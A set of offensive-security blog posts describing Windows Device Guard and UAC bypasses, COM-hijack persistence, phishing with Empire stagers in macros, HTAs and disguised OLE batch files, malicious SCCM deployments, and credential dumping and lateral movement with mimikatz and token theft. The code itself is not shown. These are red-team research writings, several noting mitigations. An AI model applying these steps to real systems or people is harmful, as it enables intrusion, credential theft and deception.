Bypassing Application Whitelisting By Using rcsi.exe

Over the past few weeks, I have had the pleasure to work side-by-side with Matt Graeber (@mattifestation) and Casey Smith (@subtee) researching Device Guard user mode code integrity (UMCI) bypasses. If you aren’t familiar with Device Guard, you can read more about it here:  In short, Device Guard UMCI prevents unsigned binaries from executing, restricts the Windows Scripting Host, and it places PowerShell in Constrained Language mode.

After discovering an Application Whitelist bypass using dnx.exe, I decided to take a look at what other potential tools existed that allowed for execution of arbitrary C#, which led me to this blog post by Microsoft:

I then started looking for a Microsoft compiled version, which led me to the “Microsoft Roslyn CTP” download page. Unfortunately, this requires Visual Studio 2012 and the VS2012 SDK installed, but those are freely available.

It is stated in that blog that the Microsoft Roslyn CTP contains a new binary called “rcsi.exe”. This particular binary is one of the first attempts at integrating Roslyn on the backend (it is now nicely integrated into Visual Studio 15 Update 1, which interfaces with csi.exe). More information on Roslyn can be found here:

Recently, my co-worker Casey Smith (@subtee) blogged about bypassing application whitelisting using csi.exe. The difference between these bypasses is csi.exe is interactive and rcsi.exe is not. Luckily for us, you can utilize the introduction of C# Scripting with rcsi.exe to execute unsigned code.

In a Device Guard scenario, rcsi.exe is allowed to execute as it is a Microsoft signed binary that can be installed along side of Visual Studio 2012. In order to execute rcsi.exe on a Device Guard system (assuming it isn’t already installed), you will need to gather rcsi.exe and its required dependencies (there are only 2 of them), and transport everything to your target (this is an exercise left up to the reader).

With everything required now on our target host, we can now start down the path of bypassing Device Guard’s UMCI. Since rcsi.exe allows for executing C# scripts, we can use it to execute arbitrary, unsigned C# code by passing the binary our own csx script.

For example, we can create a csx file and add whatever C# code we want. Keep in mind that it uses Roslyn, so you don’t need to add classes. To demonstrate the execution of unsigned code, we can keep things simple:


Now that we have our C# script created,  we can execute our C# using rcsi.exe by simply passing our csx to it. This is done on a PC running Device Guard:


As you can see above, our unsigned C# successfully executed and is running inside of rcsi.exe.

Fortunately, these “misplaced trust” bypasses can be mitigated via code integrity policy FilePublisher file rules. You can read up on creating these mitigation rules here:

You can find a comprehensive bypass mitigation policy here:

If you want to know more about “Misplaced Trust” bypasses, you can find @subtee’s awesome Bluehat presentation slides here:

Matt Nelson

Bypassing Application Whitelisting By Using dnx.exe

Over the past few weeks, I have had the pleasure to work side-by-side with Matt Graeber (@mattifestation) and Casey Smith (@subtee) researching Device Guard user mode code integrity (UMCI) bypasses. If you aren’t familiar with Device Guard, you can read more about it here:  

In short, Device Guard UMCI prevents unsigned binaries from executing, restricts the Windows Scripting Host, and it places PowerShell in Constrained Language mode.

Recently, @mattifestation blogged about a typical Device Guard scenario and using the Microsoft Signed debuggers WinDbg/CDB as shellcode runners.

Soon after, @subtee released a post on using CSI.exe to run unsigned C# code on a Device Guard system.

Taking their lead, I decided to install the Visual Studio Enterprise trial and poke around to see what binaries existed. After much digging, I stumbled across dnx.exe, which is the Microsoft .NET Execution environment. If you are curious, you can read more on dnx.exe here:

In a Device Guard scenario, dnx.exe is allowed to execute as it is a Microsoft signed binary packaged with Visual Studio Enterprise. In order to execute dnx.exe on a Device Guard system (assuming it isn’t already installed), you will need to gather dnx.exe and its required dependencies, and somehow transport everything to your target (this is an exercise left up to the reader).

With everything required now on our target host, we can now start down the path of bypassing Device Guard’s UMCI. Since dnx.exe allows for executing code in dynamic scenarios, we can use it to execute arbitrary, unsigned C# code. Fortunately, there is a solid example of this on Microsoft’s blog above.

For example, we can create a C# file called “Program.cs” and add whatever C# code we want. To demonstrate the execution of unsigned code, we can keep things simple:


To satisfy the requirements of dnx.exe, a Project.json file is required, which specifies some of the requirements when executing the code. For this PoC, the example “Project.json” file can be used from Microsoft’s blog here. As stated in their post, we can execute our C# by placing “Program.cs” and “Project.json” in a folder called “ConsoleApp” (this can obviously be renamed/modified).

Now that we have our files, we can execute our C# using dnx.exe by going into the “ConsoleApp” folder and invoking dnx.exe on it. This is done on a PC running Device Guard:


As you can see above, our unsigned C# successfully executed and is running inside of dnx.exe.

Fortunately, these “misplaced trust” bypasses can be mitigated via code integrity policy FilePublisher file rules. You can read up on creating these mitigation rules here:

You can find a comprehensive bypass mitigation policy here:

Matt Nelson

“Fileless” UAC Bypass Using eventvwr.exe and Registry Hijacking

After digging into Windows 10 and discovering a rather interesting method for bypassing user account control, I decided to spend a little more time investigating other potential techniques for getting around UAC. Currently, there are a couple of public UAC bypass techniques, most of which require a privileged file copy using the IFileOperation COM object or WUSA extraction (Windows 7) to take advantage of a DLL hijack in a protected system location. All of these techniques require dropping a file to disk (for example, placing a DLL on disk to perform a DLL hijack). You can take a look at some of these public techniques here (by @hfiref0x). The technique covered in this post differs from the other public methods and provides a useful new technique that does not rely on a privileged file copy, code injection, or placing a traditional file on disk (such as a DLL). This technique has been tested on Windows 7 and Windows 10, but is expected to work on all versions of Windows that implement UAC.

As I mentioned in my last post on bypassing UAC using Disk Cleanup, a common technique used to investigate loading behavior on Windows is to use SysInternals Process Monitor to analyze how a process behaves when executed. While digging into the Windows Event Log with ProcMon opened, I noticed that eventvwr.exe was executing some registry queries against the HKEY_CURRENT_USER hive as a high integrity process.

Before diving in too far, it is important to understand what the HKEY_CLASSES_ROOT (HKCR) and HKEY_CURRENT_USER (HKCU) registry hives are and how they interact. The HKCR hive is simply a combination of HKLM:\Software\Classes and HKCU:\Software\Classes. You can read more about HKCR and why the HKLM and HKCU hives are merged here. Since these hives are merged, you can often hijack keys in HKCR:\ by creating them in HKCU:\Software\Classes. Since this relationship exists between these 2 hives, any elevated process that interacts with both HKCU and HKCR in succession are particularly interesting since you are able to tamper with values in HKCU. As a normal user, you have write access to keys in HKCU; if an elevated process interacts with keys you are able to manipulate, you can potentially interfere with actions a high-integrity process is attempting to perform.


Now, as some of you may know, there are some Microsoft signed binaries that auto-elevate due to their manifest. You can read more about these binaries and the manifests here. By using the SysInternals tool “sigcheck”, I verified that “eventvwr.exe” auto-elevates due to its manifest:


While digging deeper into the ProcMon output, I noticed that “eventvwr.exe” was interacting with HKCU\Software\Classes\mscfile\shell\open\command, which resulted in a “NAME NOT FOUND” result. Shortly after, eventvwr.exe was seen interacting with the key HKCR\mscfile\shell\open\command. Looking at HKCR\mscfile\shell\open\command, I noticed that the default value was set to call mmc.exe (Microsoft Management Console), the program responsible for loading Management Snap-Ins:


As mentioned above, calls to HKEY_CURRENT_USER (or HKCU) from a high integrity process are particularly interesting. This often means that an elevated process is somehow interacting with a registry location that a medium integrity process can tamper with. In this case, it was observed that “eventvwr.exe” was querying HKCU\Software\Classes\mscfile\shell\open\command before HKCR\mscfile\shell\open\command. Since the HKCU value returned with “NAME NOT FOUND”, the elevated process queried the HKCR location:


From the output, it appears that “eventvwr.exe”, as a high integrity process, queries both HKCU and HKCR registry hives to start mmc.exe. After mmc.exe starts, it opens eventvwr.msc, which is a Microsoft Saved Console file, causing the Event Viewer to be displayed. This makes sense due to the fact that the Microsoft Management Console (mmc.exe) loads Microsoft Saved Console files (.msc). You can read more about the Microsoft Management Console and the corresponding Microsoft Saved Console files here.
With this information, I decided to create the registry structure needed for “eventvwr.exe” to successfully query the HKCU location instead of the HKCR location. Since the (Default) value located in HKCR\mscfile\shell\open\command contained an executable, I decided to simply replace the executable with powershell.exe:


When starting “eventvwr.exe”, I noticed that is successfully queried/opened HKCU\Software\Classes\mscfile\shell\open\command:


This action effectively replaced the expected “mmc.exe” value with our new value: “powershell.exe”. As the process continued, I observed that it ended up starting “powershell.exe” instead of “mmc.exe”:


Looking at Process Explorer, I was able to confirm that powershell.exe was indeed running as high integrity:


Due to the fact that I was able to hijack the process being started, it is possible to simply execute whatever malicious PowerShell script/command you wish. This means that code execution has been achieved in a high integrity process (bypassing UAC) without dropping a DLL or other file down to the file system. This significantly reduces the risk to the attacker because they aren’t placing a traditional file on the file system that can be caught by AV/HIPS or forensically identified later.

To demonstrate this attack, Matt Graeber (@mattifestation) and I constructed a PowerShell script that, when executed on a system, will create the required registry entry in the current user’s hive (HKCU\Software\Classes\mscfile\shell\open\command), set the default value to whatever you pass via the -Command parameter, run “eventvwr.exe” and then cleanup the registry entry.

You can find the script here:

Within the script, we have provided an example command. This particular command uses PowerShell to write out “Is Elevated: True” to C:\UACBypassTest. This will demonstrate that the command has executed has a high integrity process due to the fact that “Is Elevated” equated to “True” and the text file it outputs is being written to a directory that a medium integrity process is not allowed to write to.

This technique differs from the other public techniques by having a few handy benefits:

  1. This technique does not require dropping a traditional file to the file system. Most (if not all) public UAC bypasses currently require dropping a file (typically a DLL) to the file system. Doing so increases the risk of the attacker getting caught. Since this technique doesn’t drop a traditional file, that extra risk to the attacker is mitigated.
  2. This technique does not require any process injection, meaning the attack won’t get flagged by security solutions that monitor for this type of behavior.
  3. There is no privileged file copy required. Most UAC bypasses require some sort of privileged file copy in order to get a malicious DLL into a secure location to setup a DLL hijack. Since it is possible to replace what executable “eventvwr.exe” starts to load the required Snap-in, it is possible to simply use an existing, trusted Microsoft binary to execute code in memory instead.

This particular technique can be remediated or fixed by setting the UAC level to “Always Notify” or by removing the current user from the Local Administrators group. Further, if you would like to monitor for this attack, you could utilize methods/signatures to look for and alert on new registry entries in HKCU\Software\Classes\.

Bypassing UAC on Windows 10 using Disk Cleanup

Matt Graeber (@mattifestation) and I recently dug into Windows 10, and discovered a rather interesting method of bypassing User Account Control (if you aren’t familiar with UAC you can read more about it here). Currently, there are a couple of public UAC bypass techniques, most of which require a privileged file copy using the IFileOperation COM object or WUSA extraction to take advantage of a DLL hijack. You can dig into some of the public bypasses here (by @hfiref0x). The technique covered in this post differs from the other methods and provides a useful alternative as it does not rely on a privileged file copy or any code injection.

A common technique used to investigate loading behavior on Windows is to use SysInternals Process Monitor to analyze how a process behaves when executed. After investigating some default Scheduled Tasks that exist on Windows 10 and their corresponding actions, we found that a scheduled task named “SilentCleanup” is configured on stock Windows 10 installations to be launchable by unprivileged users but to run with elevated/high integrity privileges. To find this, we simply went through each task and inspected the security options for “Run with Highest Privileges” to be checked with a non-elevated User Account (such as ‘Users’).


Taking a closer look with procmon, we found that the actual process started by the scheduled task, cleanmgr.exe, auto-elevates due to “execute with highest privileges” being set in the task configuration.

Let’s dive in a bit more. When cleanmgr.exe executes, it creates a new folder with the name of a GUID in “C:\Users\<username>\AppData\Local\Temp”.


Once cleanmgr.exe creates the temporary folder, it then copies multiple DLLs along with “dismhost.exe” into the new folder:


After copying DismHost.exe and its DLLs to “C:\Users\<username>\AppData\Temp\<guid>”, cleanmgr.exe then starts “dismhost.exe” out of the newly created path as a high integrity process:


Since dismhost.exe launches out of “C:\Users\<username>\AppData\Local\Temp\<guid>”, it begins to load DLLs out of the same folder in a certain order:


Because the  current medium integrity process has write access to the user’s %TEMP% directory, it is possible to hijack a DLL loaded by dismhost.exe and obtain code execution in a high integrity process. This is commonly known as a “BypassUAC” attack.
Since this particular situation is a race condition, we have to replace the target DLL before dismhost.exe loads it. We examined the entire process more closely and determined that “LogProvider.dll” is the last DLL loaded by dismhost.exe, giving us the best chance for a hijack opportunity. With this information, we can use a WMI event to monitor for the creation of “C:\Users\<username>\AppData\Local\Temp\<guid>” and then assign that WMI event an action of hijacking “LogProvider.dll” by copying our “malicious” DLL into “C:\Users\<username>\AppData\Local\Temp\<guid>” and naming it “LogProvider.dll”. Since this action happens before dismhost.exe loads it, it will load our DLL instead of the intended one.


Once dismhost.exe loads the DLL, it will load as high integrity, allowing us to bypass User Access Control and obtain code execution as a high integrity process.

After additional testing, this technique does not apply to standard user accounts as cleanmgr.exe does not extract any files to %TEMP%. When executed as a standard user in low or medium integrity, the task runs as medium integrity and never elevates past that.

Matt Graeber (@mattifestation) wrote an excellent PoC PowerShell script that will register a WMI event to monitor for the creation of the GUID folder by cleanmgr.exe and once detected, it will take the specified DLL and copy it to the GUID folder with the name of “LogProvider.dll”. Once dismhost.exe goes to load “LogProvider.dll”, it will be our malicious DLL instead of the legitimate one, thus bypassing UAC and giving us code execution in High Integrity context. You can find the script here:

To test this, you simply need the PoC script and a DLL with a standard export of dllmain. For testing, you can either create your own DLL or use a simple MessageBox one located here:

This technique differs from the other public techniques by having a few benefits that can be handy:

  1. This technique does not require any process injection, meaning the attack won’t get flagged by security solutions that monitor for this type of behavior.
  2. There is no privileged file copy required. Most UAC bypasses require some sort of privileged file copy in order to get a malicious DLL into a secure location to setup a DLL hijack. Since the scheduled task copies the required stuff to %TEMP%, no privileged file copy is required.
  3. This technique cleans up after itself. After the scheduled task is done (and loads our malicious DLL), the task deletes the GUID folder (and files) that it created in %TEMP%.
  4. This technique works with the UAC level being set at its highest setting (“Always Notify”) since the task is set to run with “Highest Privileges”. The majority of the public UAC bypasses rely on the IFileOperation COM object to perform a privileged file copy. IFileOperation honors the “Always Notify” UAC setting and prompts when set, causing the privileged file copy to fail:


This was disclosed to Microsoft Security Response Center (MSRC) on 07/20/2016. As expected, they responded by noting that UAC isn’t a security boundary, so this doesn’t classify as a security vulnerability, as stated here. While not a vulnerability, it does allow an attacker an alternate method to move to high integrity that differs from previous bypasses and introduces one more location or chokepoint that must be monitored to observe attacker behavior.

This particular technique can be remediated or fixed by disabling the task or removing the requirement for running with highest privileges. Further, if you would like to monitor for this attack, you could utilize methods/signatures to look for new WMI events as it is required to monitor for new folder creation for this attack to succeed. Combining this with App/DLL whitelisting and monitoring for abnormal modules being loaded (e.g. Sysmon event ID 7) would also limit the success of such an attack. 

*Update: As always, users should follow best practices and not use an administrative account for daily computer usage.


Userland Persistence with Scheduled Tasks and COM Handler Hijacking

A while back I was exploring userland COM and stumbled across some 2011 research by Jon Larimer explaining the dangers of per-user COM objects. Recently Casey Smith (@subtee) started digging into COM and its implications as well, which motivated me to finish the research I had started. After some poking around, I found out that you can combine COM CLSID (ClassID) hijacking with a scheduled task to obtain userland persistence. It has been well known that you can use CLSID hijacking to persist via different functions of Windows, but one way that hasn’t been explored deeply (from what I have found) is combining this technique with Scheduled Tasks set to run upon user logon.


First, a bit of background on the registry and how this technique works. The HKEY_CLASSES_ROOT (HKCR) registry hive is just a combination of HKLM:\Software\Classes and HKCU:\Software\Classes. Due to the fact that these are merged, you can “hijack” keys in HKCR:\CLSID by adding keys in HKCU:\Software\Classes\CLSID. This is important because a lot of things (such as Scheduled Tasks) pull from HKCR:\CLSID for actions. Hijacking is possible due to how HKCR works- since HKCR is a merge of HKLM and HKCU, userland COM objects will load from HKCR:\CLSID, which is a merged view of HKLM:\Software\Classes\CLSID and HKCU:\Software\Classes\CLSID. Since we are able to write directly to HKCU:\Software\Classes\CLSID we can effectively hijack the keys in HKCR:\CLSID. You can read more about about HKCR and Per-User COM here and here, and more on COM registration/permissions here.


Looking at a few Scheduled Tasks, we can see that some of them have an action set as a “Custom Handler”:


In order to view what the action actually is, we can simply pull the XML specification by running schtasks /query /XML /TN “\Microsoft\Windows\WindowsUpdate\Automatic App Update” :


As you can see, there is a ComHandler associated with the Task’s action. This means that when the task runs, it reaches out to “HKCR:\CLSID\{A6BA00FE-40E8-477C-B713-C64A14F18ADB}\InprocServer32” (or whatever CLSID is supplied) and runs whatever DLL is specified.


By modifying HKCU:\Software\Classes\CLSID we are able to directly change the “Default” value in the corresponding key located in HKCR:\CLSID (which is what some scheduled tasks pull from). Since HKCR:\CLSID is a merged view of HKCU:\Software\Classes, we can only hijack HKCR:\CLSID keys in userland, so HKCU doesn’t apply to LocalSystem events (unless running as SYSTEM). Due to this, you can only abuse this via the user context you are running under. You are able to persist as SYSTEM via the same technique by obtaining access to write to HKLM:\Software\Classes\CLSID as LocalSystem tasks pull directly from HKLM instead of HKCR (in most instances). You can read more on this here and here.


By adding this key & the InprocServer32 subkey to HKCU:\Software\Classes\CLSID and adding our own DLL.


We can change the “Default” value of the corresponding key in HKCR:\CLSID to a different DLL.


Since the selected Scheduled Task runs whatever DLL is present in the “Default” key, it will execute our DLL. By hijacking a task that is set to execute on user logon we can achieve userland persistence. You can determine which tasks are set to execute on logon by checking the “Triggers” tab:


Once the task executes, it will load our specified malicious DLL:


As you can see, the message box “pwn” popped up when the “Automatic App Update” task was executed (on logon). You can see that the DLL “C:\64.dll” was loaded by taskhostw.exe:


By abusing the fact that some tasks have “Custom Handlers” set as actions, we can hijack the corresponding COM handler in the registry and force the task to execute our malicious DLL on logon instead of the legitimate one.


I have provided a script to check all tasks that execute on logon and have a COM Handler action associated. You can use this to check for any anomalies in keys associated with Scheduled tasks that execute on logon:


This script will pull every Scheduled Task that has a COM handler associated with its action and will tell you the task name, CLSID registry key, the DLL associated with that CLSID, if the task is set to execute automatically on user logon, and if the task executes in a normal user context (meaning it can be hijacked):


You can also only specify tasks that are set to execute on logon by specifying -OnLogon:


Finally, you can specify -PersistenceLocations to show only Scheduled Tasks that execute in userland and start on logon. This will give you all tasks that can be used to persist within the current user context:


If you wish to check this yourself, you can either download the “pwn” messageBox dll or compile it yourself and test some of your scheduled tasks!


Phishing with Empire

This post is part of the ‘Empire Series’, with some background and an ongoing list of series posts [kept here].

As ‘real’ attackers advance their tradecraft, pentesters and Red Teamers who want to emulate threats need to do the same. Empire was built to help testers wield the continuing evolution of offensive PowerShell. And since it’s free and open source, Empire makes for a great alternative RAT should the situation arise. As with most other post-exploitation driven agents, you need a delivery method. Luckily, Empire has you covered.

Empire contains multiple stager output formats that can help you obtain a foothold into a target environment through phishing. These output formats include macros, HTML Applications (HTAs), batch files for OLE objects, and a ducky format. In this post, I will cover three of my favorite formats and how to use them to obtain a foothold via spearphishing.


Office Macro

Microsoft Office macros were a huge hit in the early 2000s. Over time, security evolved and the use of the malicious macro decreased significantly. After a few years of being relatively “dead”, Office macros started to make a comeback. Now, roughly 16 years later, Office macros are as prominent as they were years ago (partially thanks to PowerShell).

One thing I love about macros is that since they’re used for legitimate purposes, you can use PowerShell (a trusted, signed Microsoft executable) to run malicious code without touching the filesystem. Empire has an output format specifically for Office macros that make creating one for initial access a breeze.

To generate an an Empire stager in an Office macro format, simply start a listener and use the “macro” stager.


As you can see, the macro code was written to “/tmp/macro”. If we take a look at that file, you can see that it contains VBA code. You might also notice that the payload within the macro simply executes an Empire stager via PowerShell’s encoded command switch.


Since Empire outputs all the required code, all we need to do now is add it to a document, dress it up and send it to our target. To create the malicious document, simply open Microsoft Word or Excel, click the “View” tab and select “Macros”. Simply give the macro a name and select “document” in the “macros in” drop down:



After you click “create”, you can add the code that Empire generated for you. All you need to do is remove the default code and paste in the generated code:


Once added, save the document as either “Word 97-2003” or “Word Macro-Enabled Document”, attach it to your phishing email and send it.

It is important to note that in order to trick your target into clicking “Enable Macros”, you should dress the document up. Once the target receives the email and opens the document, they will see something like this:


If they click “Enable Content”, the macro will execute and, in turn, our Empire stager will get executed:


Office macros can make for a great way to obtain a foothold into your target environment. If, for some reason, a macro doesn’t get you in, you can fall back to other methods.

HTML Application (HTA)

A HTML application is essentially a file containing HTML but also supports the use of VBScript or Javascript. By embedding malicious code in a HTA, we can successfully obtain code execution on a system by having them browse to a hosted application.

To generate a HTA in Empire, simply use the “hta” stager option:


As you can see, Empire will output it into a file. If we take a look at the file, you can see the code that is being used within the HTA:


To use the HTA, all you need to do is host it somewhere where your target can reach it. For demonstration purposes, I’m going to host it locally by moving “finance.hta” into my “/var/www/html” folder.


With the HTML application hosted, the only remaining piece is to craft a phishing email with a link to your hosted HTML application.

*Note: You should dress the email up in a way that makes the HTML Application believable.

When the target visits the link, they will see a dialogue box similar to this:


If you manage to convince the user to click “Open”, the HTML Application will proceed to ask them if they want to allow the application. Clicking “Allow” will cause the HTA to execute the embedded Empire PowerShell stager, resulting in an agent.



Object Linking and Embedding (OLE) Object

Out of all the different methods of obtaining code execution, this one is always my go to. In Microsoft Office, it is possible to embed items such as a .bat file within an Office document by utilizing Object Linking and Embedding. By doing so, you are able to make a malicious .bat file look like a document within a document (or anything else that fits your theme). To create a document with an OLE object, all you need to do is generate a .bat file by using Empire’s “launcher_bat” stager option.


This will output a self-deleting batch file containing code to stage an empire agent. With the batch file created, we can now insert it into our document. This can be done by going to the “Insert” menu and selecting “Object”


Then, select the “Create from File” tab and browse to the batch file that was created earlier. Once added, check the “Display as Icon” box:


You can then select the “Change Icon” box to add in an icon. Some good ones are the Microsoft Excel, Word or PowerPoint icons. You can then change the name of the file and give it whatever file extension you would like:



Once you click “OK”, the object will be inserted into the document. To the target, it will simply look like an embedded document (which organizations do all the time):


All you need to do after that is dress the document up and send it to your target. Once the target double clicks and runs the batch file embedded within the document, you will get code execution and an agent will come back.



In many external engagements, the first step in a successful operation is obtaining a foothold into the target environment. Empire provides a few methods for automatically generating useful payloads that can be used to help assist in crafting your final phishing document. If you have additional methods that you would like to see implemented in Empire, feel free to reach out on Github!


Offensive Operations with PowerSCCM

Over the last few months, I have been preaching how amazing Microsoft’s System Center Configuration Manager (SCCM) is for offensive Red Team operations. After being inspired by Dave Kennedy’s “Owning One to Rule Them All” presentation at DefCon 20, I dove more deeply into the offensive applications of SCCM. The result was a blog post on using SCCM for targeted workstation compromise and a ShmooCon Firetalk on using SCCM for Malware Deployment (slides can be found here due to some A/V issues within the video).

After some head banging, my ATD teammate Will Schroeder and I have developed a toolset called PowerSCCM with some nice offensive functionality. With the help of @jaredcatkinson and @mattifestation, we were able to implement defensive capabilities for hunting and incident response. This post will cover offensive usage within PowerSCCM, while @harmj0y has a post that covers some of the internals of PowerSCCM as well as its defensive functionality.


What is SCCM?

SCCM is a system configuration/management solution created by Microsoft. It allows for administrators to image machines, install applications, push configuration scripts, or update existing software on enterprise endpoints. SCCM operates in a “Client-Server” architecture by installing an agent on workstations/servers that will check in periodically to its assigned site server for updates. On the backend, SCCM uses a SQL database and WMI classes to store and access various types of information.  

Note: PowerSCCM handles both SQL and WMI connections to an SCCM server, but the offensive functionality is restricted to WMI at this point.

In order to interact with SCCM, you need to have administrative rights on the SCCM server, however you do not need to have domain administrative rights on the network. We have seen setups where poorly secured service accounts allowed us to take control of an SCCM server, which led to complete domain compromise. SCCM can be used for this type of lateral spread, or as a way to persist in the network after elevated access is acquired. We love remaining under the radar by utilizing existing administrative tools to do our dirty work.


Identifying and Connecting to SCCM

The first step is to identify two pieces of information required to connect and interact with the SCCM backend- the primary SCCM site server and the SCCM site code.  Once you land on a workstation that is administered by SCCM, you can load up PowerSCCM and run the “Find-LocalSCCMInfo” cmdlet to pull this information from the local machine’s configuration.


With this information, we can establish a new connection to the SCCM management server via WMI by using the “New-SCCMSession” cmdlet. This function requires the SCCM server and Site code as parameters


Now that we are connected up to the SCCM server, we can interact with it by taking the cmdlet “Get-SCCMSession” and piping it to whatever function we would like to use.


Identifying Targets

The first step in strategically maintaining access or moving within a network is to identify interesting targets. This can be done easily by asking SCCM to identify any users or computers that are registered with it. We can query all registered computers by using the “Get-SCCMComputer” cmdlet. You can also add the “-NameFilter” flag to reduce the query to whatever filter you would like.


PowerSCCM also allows for you to drill down on hosts and identify what users are actively logged in or have historically been logged in. For example, you can identify what computers the Domain Admin “Lab\Matt” is logged into by using the “Get-SCCMPrimaryUser” cmdlet and selecting the host where “Lab\Matt” show up:


*Note: Automated User hunting/enumeration is still being developed and will be released in future versions of PowerSCCM.


Grouping Your Targets

With potential targets identified, the next step is to group them so they can be specifically targeted. To do this, you need to create a Device Collection. You can do this by using the “New-SCCMCollection” cmdlet.


We are able to verify that the collection now exists by using the “Get-SCCMCollection” cmdlet and displaying only the result when the “Name” property is “Red Team Targets”:


With the collection for our targets created, we can now add any devices we want. This can be accomplished using the “Add-SCCMDeviceToCollection” cmdlet and passing the new collection name and device name as parameters.


Now that the computers we wish to target are grouped into a collection, we are now able to create our malicious application and then deploy it to our targets.


Creating our Payload

Out of all the offensive functionality within PowerSCCM, the ability to create a malicious SCCM application is by far my favorite. When the application is created, it is created with a “isHidden” property set. This property keeps the application from being displayed in the Configuration Manager GUI, which hides it from any administrators.

When creating the application, you can specify a PowerShell script, a Base64 encoded PowerShell payload, a Base64 Unicode PowerShell payload, or a UNC path to an executable. For the PowerShell payloads, the New-SCCMApplication cmdlet will store the payload in a new WMI class on the SCCM server and then set permissions on that class so it can be read by everyone on the domain. When the application is deployed and executed, it will reach back to the WMI class on the SCCM server, grab the encoded payload, decode it and execute it.

To create the application, you can use the “New-SCCMApplication” cmdlet and pass the application name and the payload (UNC, PowerShell Script,  PowerShell Base64 or PowerShell Base64 Unicode). In this example, I will be using the base64 encoded portion of the PowerShell Empire stager. Since the base64 encoded output of the “launcher” stager is encoded in unicode, we need to use the “PowerShellUnicodeBase64” option.


As you can see in the “LaunchCMD” field, it will start PowerShell, reach out to the WMI class on the SCCM server (called Win32_Debug), grab the payload, decode it and execute it. We can verify that the payload exists by using “Get-SCCMApplication” and only showing results when “LocalizedDisplayName” equals our application name.


And just to verify, we can check the GUI and see that the application does not show up:



Deploying our Payload

With our application created, we can now deploy it out to our device collection containing our targets. We can do so by using the “New-SCCMApplicationDeployment” cmdlet. All we need to do is pass the application name, assignment name and collection name as parameters. (*note: the assignment name is simply a description of the deployment).


Now that our malicious application is set to deploy to our chosen targets, we can coerce these machines to check for new applications by forcing a Machine Policy Check-in through the SCCM server. This can be accomplished by utilizing the “Invoke-SCCMDeviceCheckin” cmdlet. All we need to do is pass the target collection name as a parameter. This will force the collection members to check-in, grab any new content (our malicious application) and execute it.


Once the target executes the application, we will get an agent back running as SYSTEM




After you compromise any targets you need, it is important that you cleanup after yourself. This includes removing the Application Deployment, the Application and the Collection you created. For a proper cleanup, you need to remove the items in the following order: Application Deployment, Application, Collection.

To cleanup a deployment, you can use the “Remove-SCCMApplicationDeployment” cmdlet. You just need to pass your application name as a parameter.


With the deployment gone, you can now remove the application itself. This can be accomplished using the “Remove-SCCMApplication” cmdlet:


And finally, we can delete our device collection:




As a Red Teamer, living inside a target network without getting detected is essential for success. Once you establish access and elevate your rights, you typically target the “crown jewels” to show impact to the organization. The process of moving throughout the network while hunting for sensitive data can often times get you caught. By using SCCM, you can abuse existing internal infrastructure and functionality to move laterally. Be sure to head over to Will’s blog to checkout PowerSCCM’s defensive functionality!


An Empire Case Study

This post is part of the ‘Empire Series’, with some background and an ongoing list of series posts [kept here]. 

Empire has gotten a lot of use since its initial release at BSides Las Vegas. Most of the public articles we’ve seen on Empire are quick-start guides that cover initial setup and a few common features. To really emphasize the full capability of Empire we wanted to do a walk through of a fictional case-study from initial access to complete forest ownership. This post is the second in the “Empire Series”, and is an expanded version of the demo given at BSides D.C that shows how Empire can be used in real world networks.

Initial Access

Empire has a variety of ways to execute the stager code that loads the main agent, including Office macros, .war files, HTAs, etc. We will dive in depth into phishing in a future blog post, so for now we will assume you have obtained access into a corporate environment via an Office macro. For this case study, we have landed on a user’s workstation in the “DEV” domain, which is a subdomain of the primary “CORP” domain.


The first thing we notice about our initial access is that we are not in elevated context. You can determine this by viewing the main agents menu – agents with a (*) are elevated. You can also determine the integrity context by typing info in an agent menu (‘high_integrity = 1’ means the agent is elevated).


Since we need elevated privileges to dump credentials, we’ll first try to privesc. Before we can start to identify possible privilege escalation paths we should do a bit of host situational awareness. Empire’s shell command allows us to execute normal Windows commands on the system and we are able to identify that our current user “dfm” is in the local administrators group.


With this knowledge we assume that since “dfm” is in the local administrators group but not elevated within our agent, UAC could be in play. In order to elevate up, we can use Empire’s “bypassuac” command to bypass the User Access Control prompt and elevate to Administrator.


As you can see, our new agent now contains the (*), indicating that it is elevated.

Gathering Credentials

Now that we have elevated access on our compromised host we can extract credentials from memory. By issuing a ps command, we are able to see all of the running processes on this particular host. If we look closely, we are able to see that the domain user “Mike” has a process running.


Running the mimikatz command within our elevated agent will let us extract Mike’s credentials:


The output for Mimikatz will be displayed back to you for your viewing pleasure. Empire will also automatically parse the output and add any scraped credentials to its backend data model. This can be viewed by typing creds.


If you want to filter the credential output you can type creds <filter> to only display the information you want. For example, you can type creds plaintext to get only the plaintext credentials from the database or you can type creds Mike to only get credentials that apply to the user “Mike”.


User Enumeration

Since we have the user “Mike”, we should probably find out who he is and what he does. This can be done in a few different ways, such as through PowerView or the built-in Windows net commands. Empire also has the get_user module that will return all sorts of juicy information on the user(s) specified. You can jump to this module with usemodule situational_awareness/network/powerview/get_user.


By setting the “UserName” field to “Mike”, the module will execute and return us Mike’s user properties:


If you use PowerView for normal situational awareness you may see that the output for this module looks much like the output of the Get-NetUser function in PowerView. This is because Empire has many abstracted functions from PowerView built in as modules under situational_awareness/network/powerview/* that let you execute large parts of PowerView’s functionality without loading up the complete script.


We see that the module output indicates that Mike is a part of the “Workstation Admins” group. By viewing the net localgroup Administrators output that was displayed previously we also see that the “Workstation Admins” group is a local administrator on the host we landed on. This means that we may be able to reuse these credentials to access other workstations in the enterprise.


With that information in our back pocket we can now start to hunt for interesting users (instead of just hitting random boxes and hoping for the best). We can kick this off by using the situational_awareness/network/powerview/user_hunter module. This module takes the Invoke-UserHunter function from PowerView and abstracts it into its own module within Empire. When running this with the default options, it will query your current domain for any machines with Domain Admins logged in and display it back to you.


It looks like the Domain Admin “DEV\will-da” has a session from Let’s see if Mike’s compromised credentials will get us access to that host. We can get the hostname of this target with Empire’s shell command:

Now we can check and see what users/groups are a part of the local administrators group on that host by running the situational_awareness/network/powerview/get_localgroup module. This particular module is an abstracted version of Get-NetLocalGroup from PowerView.

The output from this module will let us know exactly who can access the host we’re targeting:


In the output above we can see that the group “Workstation Admins” is one of the groups added to the local administrators group on our target. Since we also set the -Recurse flag the backend PowerView code resolved the members of any resulting groups as well, giving us the effective set of users who can access the host. With this output we can verify that Mike’s credentials will give us access to our target host.

Lateral Movement

Since we now know that “Mike” should give us access to the host with the Domain Admin “will-da” logged in, let’s verify the access by stealing one of Mike’s process tokens and trying to access the host remotely. Since we saw that Mike had a process of “cmd” running, we can filter the ps output for just those processes with ps cmd.


We can steal its token by using the steal_token <PID> command and then attempt to access “C$” of the target host:


